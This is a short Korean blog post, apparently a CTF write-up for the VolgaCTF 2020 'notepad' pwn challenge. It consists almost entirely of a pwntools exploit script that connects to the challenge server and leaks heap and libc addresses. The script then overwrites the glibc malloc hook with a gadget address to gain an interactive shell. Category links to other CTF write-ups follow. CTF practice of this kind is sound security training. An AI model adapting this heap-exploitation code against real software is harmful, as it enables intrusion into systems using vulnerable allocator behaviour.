notepad.dms
14.3 kB

롸업 쓰기 귀찮다. 그냥 pad를 할당하는 게 영역을 넘을 수가 있어서 그걸로 언제나 그랬듯이 malloc hook을 덮었다.

Exploit Code

from pwn import *

def add(name):
    p.sendlineafter('> ', 'a')
    p.sendlineafter(': ', name)

def list():
    p.sendlineafter('> ', 'l')

def delete(idx):
    p.sendlineafter('> ', 'd')
    p.sendlineafter(': ', str(idx))

def pick(idx):
    p.sendlineafter('> ', 'p')
    p.sendlineafter(': ', str(idx))

def add_tab(name, len, data):
    p.sendlineafter('> ', 'a')
    p.sendlineafter(': ', name)
    p.sendlineafter(': ', str(len))
    p.sendafter(': ', data)

def quit_tab():
    p.sendlineafter('> ', 'q')

def view_tab(idx):
    p.sendlineafter('> ', 'v')
    p.sendlineafter(': ', str(idx))

def update_tab(idx, name, len, data):
    p.sendlineafter('> ', 'u')
    p.sendlineafter(': ', str(idx))
    p.sendlineafter(': ', name)
    p.sendlineafter(': ', str(len))
    p.sendafter(': ', data)

def delete_tab(idx):
    p.sendlineafter('> ', 'd')
    p.sendlineafter(': ', str(idx))

#p=process('./notepad')
p=remote('notepad.q.2020.volgactf.ru', 45678)

add('A'*0x10+'\x80')
add('B')
add('C')

pick(1)
add_tab('A', 10, 'hihi') # 129
quit_tab()
list()
p.recvuntil('[3] ')
heap_addr = u64(p.recv(6)+'\x00'*2)
p.success('heap addr is '+hex(heap_addr))

pick(3)
add_tab('A', 0x600, 'B'*0x30)
quit_tab()

pick(2)
add_tab('B', 0x600, 'C'*0x30)
quit_tab()

pick(3)
delete_tab(1)
quit_tab()

pick(1)
add_tab('A'*0x16, 10, 'A'*7+'B') # 130
quit_tab()

pick(3)
view_tab(1)
p.recvuntil('B')
libc_base = u64(p.recv(6)+'\x00'*2)-0x3ec110
p.success('libc base is '+hex(libc_base))
quit_tab()

pick(1)
add_tab(p64(0x100)+p64(libc_base+0x3ebc30), 16, 'A') # 131
quit_tab()

pick(3)
update_tab(1, '', '', p64(libc_base+0x10a38c))

p.interactive()

Capture the Flag

image

'Writeup [pwn] > CTF 대회 기출' 카테고리의 다른 글

[zer0pts CTF 2020] grimoire  (0) 2020.03.24
[zer0pts CTF 2020] babybof  (0) 2020.03.19
[zer0pts CTF 2020] protrude  (0) 2020.03.15
[zer0pts CTF 2020] diylist  (0) 2020.03.12
[zer0pts CTF 2020] hipwn  (0) 2020.03.11

+ Recent posts